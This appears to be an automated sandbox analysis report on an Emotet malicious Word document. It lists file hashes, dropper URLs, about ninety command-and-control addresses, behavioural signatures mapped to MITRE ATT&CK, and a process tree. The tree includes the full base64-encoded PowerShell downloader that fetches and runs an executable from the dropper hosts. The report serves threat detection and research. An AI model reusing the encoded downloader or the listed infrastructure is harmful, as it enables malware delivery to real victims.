emotet | b701933f7ffd80577c3d8ea10ff3e373b79a72366c0ab41e91d424cd237a77d4

General

Target
DOC_18503027.doc
Size 152KB
Sample200915-g2c19rzjye
SHA256 b701933f7ffd80577c3d8ea10ff3e373b79a72366c0ab41e91d424cd237a77d4
MD5 7ed02ffb79c09a97da8d431d2ed74711
SHA1 ef2c92acbd2238f3bb6a84d9401d5fe641c0deb8
SHA512 b84ecb1eb0ca6d7c29a63d8430c7aa27574521475eb018073bb5d3f3fb1d87218caf81b052aff437b8d045aef1e5dd7d7612f1ea4c36ecd159b352205f9e1b39
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://cnnmediaservices.com/wp-admin/czBMOhz/
exe.dropper
http://ak3.net/t0XJ/
exe.dropper
http://ovday.com/1umq/S5IWl04/
exe.dropper
http://gch7.com/wp-includes/Nkwp/
exe.dropper
http://chengmikeji.com/wp-includes/9QQ/
exe.dropper
http://blog.anseeing.com/sys-cache/h/
exe.dropper
http://1sync-wp.x.opencrm.eu/wp-content/Bu/

Extracted

Family

emotet

C2

220.245.198.194:80
104.156.59.7:8080
120.138.30.150:8080
139.59.67.118:443
139.130.242.43:80
104.32.141.43:80
156.155.166.221:80
121.7.127.163:80
153.177.101.120:443
162.241.242.173:8080
91.211.88.52:7080
95.179.229.244:8080
103.86.49.11:8080
139.59.60.244:8080
121.124.124.40:7080
104.131.11.150:443
200.114.213.233:8080
82.225.49.121:80
79.98.24.39:8080
5.196.74.210:8080
61.19.246.238:443
188.219.31.12:80
94.200.114.161:80
110.145.77.103:80
203.153.216.189:7080
62.30.7.67:443
47.144.21.12:443
181.169.34.190:80
174.45.13.118:80
87.106.139.101:8080
79.137.83.50:443
1.221.254.82:80
78.187.156.31:80
83.169.36.251:8080
195.251.213.56:80
110.5.16.198:80
24.43.99.75:80
139.162.108.71:8080
139.99.158.11:443
85.105.205.77:8080
75.139.38.211:80
50.91.114.38:80
176.111.60.55:8080
24.137.76.62:80
62.75.141.82:80
94.23.237.171:443
37.139.21.175:8080
74.208.45.104:8080
200.123.150.89:443
85.214.28.226:8080
68.188.112.97:80
203.117.253.142:80
94.23.216.33:80
137.119.36.33:80
169.239.182.217:8080
124.41.215.226:80
84.39.182.7:80
168.235.67.138:7080
194.187.133.160:443
219.74.18.66:443
61.92.17.12:80
187.161.206.24:80
85.152.162.105:80
50.35.17.13:80
104.236.246.93:8080
140.186.212.146:80
24.179.13.119:80
120.150.60.189:80
109.74.5.95:8080
5.39.91.110:7080
42.200.107.142:80
87.106.136.232:8080
93.147.212.206:80
74.120.55.163:80
107.5.122.110:80
78.24.219.147:8080
37.187.72.193:8080
95.213.236.64:8080
209.141.54.221:8080
185.94.252.104:443
213.196.135.145:80
157.245.99.39:8080
172.91.208.86:80
97.82.79.83:80
153.232.188.106:80
137.59.187.107:8080
201.173.217.124:443
104.131.44.150:8080
174.102.48.180:443
89.216.122.92:80
94.1.108.190:443
46.105.131.79:8080
82.80.155.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	3892	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	2068	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3724	H3vhkqzr2.exe
3824	DxpTaskSync.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DavSyncProvider\DxpTaskSync.exe	H3vhkqzr2.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2080	WINWORD.EXE
2080	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2068	powershell.exe
2068	powershell.exe
2068	powershell.exe
3824	DxpTaskSync.exe
3824	DxpTaskSync.exe
3824	DxpTaskSync.exe
3824	DxpTaskSync.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2068	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
2080	WINWORD.EXE
3724	H3vhkqzr2.exe
3724	H3vhkqzr2.exe
3824	DxpTaskSync.exe
3824	DxpTaskSync.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2068 wrote to memory of 3724	2068	powershell.exe	79
PID 2068 wrote to memory of 3724	2068	powershell.exe	79
PID 2068 wrote to memory of 3724	2068	powershell.exe	79
PID 3724 wrote to memory of 3824	3724	H3vhkqzr2.exe	80
PID 3724 wrote to memory of 3824	3724	H3vhkqzr2.exe	80
PID 3724 wrote to memory of 3824	3724	H3vhkqzr2.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_18503027.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe
  "C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\SysWOW64\DavSyncProvider\DxpTaskSync.exe
    "C:\Windows\SysWOW64\DavSyncProvider\DxpTaskSync.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2068-11-0x0000014B548C0000-0x0000014B548C1000-memory.dmp

Download

memory/2068-12-0x0000014B549F0000-0x0000014B549F1000-memory.dmp

Download

memory/2068-10-0x00007FFABA9B0000-0x00007FFABB39C000-memory.dmp

Download

memory/2080-0-0x00007FFAC5E90000-0x00007FFAC6556000-memory.dmp

Download

memory/2080-5-0x0000018FE6368000-0x0000018FE636E000-memory.dmp

Download

memory/3724-16-0x0000000002200000-0x0000000002212000-memory.dmp

Download

memory/3724-17-0x00000000005F0000-0x0000000000600000-memory.dmp

Download

memory/3824-20-0x0000000000780000-0x0000000000792000-memory.dmp

Download

memory/3824-21-0x00000000007A0000-0x00000000007B0000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads